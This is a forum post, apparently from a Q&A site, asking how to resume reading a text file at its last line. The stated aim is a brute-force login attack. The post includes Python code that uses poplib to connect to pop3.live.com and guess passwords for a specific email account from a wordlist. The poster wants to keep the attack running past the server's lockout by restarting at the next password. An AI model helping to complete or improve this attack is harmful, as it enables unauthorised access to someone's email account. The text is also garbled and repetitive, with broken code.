hello everyone how to read txt file and stop then continue at last read line
example:
Joe
LOley
Hana fat
oh beef come one
example = the txt file and that last line i had read it is Hana fat so how i can continue ? like that:
#!/usr/bin/python
#this script name is x.py don't forget that
import os
f= open("Str1k3r.txt", "r")
for pwd in f.readlines():
con(pwd.replace("\r", "").replace("\n", ""))
os.system('x.py')
x.py= the script file when i run it again he continue in last line he had read ! \\\\ why i need that ?because my script try to connect pop3.live.com and try to log in with so many password from txt file and the only way to pass is run the script over and over again but with different line of the txt file so how we can do ? that my code .. so how to do it? because my script try to connect pop3.live.com and try to log in with so many password from txt file and the only way to pass is run the script over and over again but with different line of the txt file
that is my code
import poplib
def con(pwd):
M = poplib.POP3_SSL('pop3.live.com', 995)
try:
M.user("[email protected]")
M.rset(M.pass_(pwd))
except:
print "[-]password incorrect"
else:
print '[+]really Password is:', pwd
exit()
f = open("Str1k3r.txt", "r")
for pwd in f.readlines():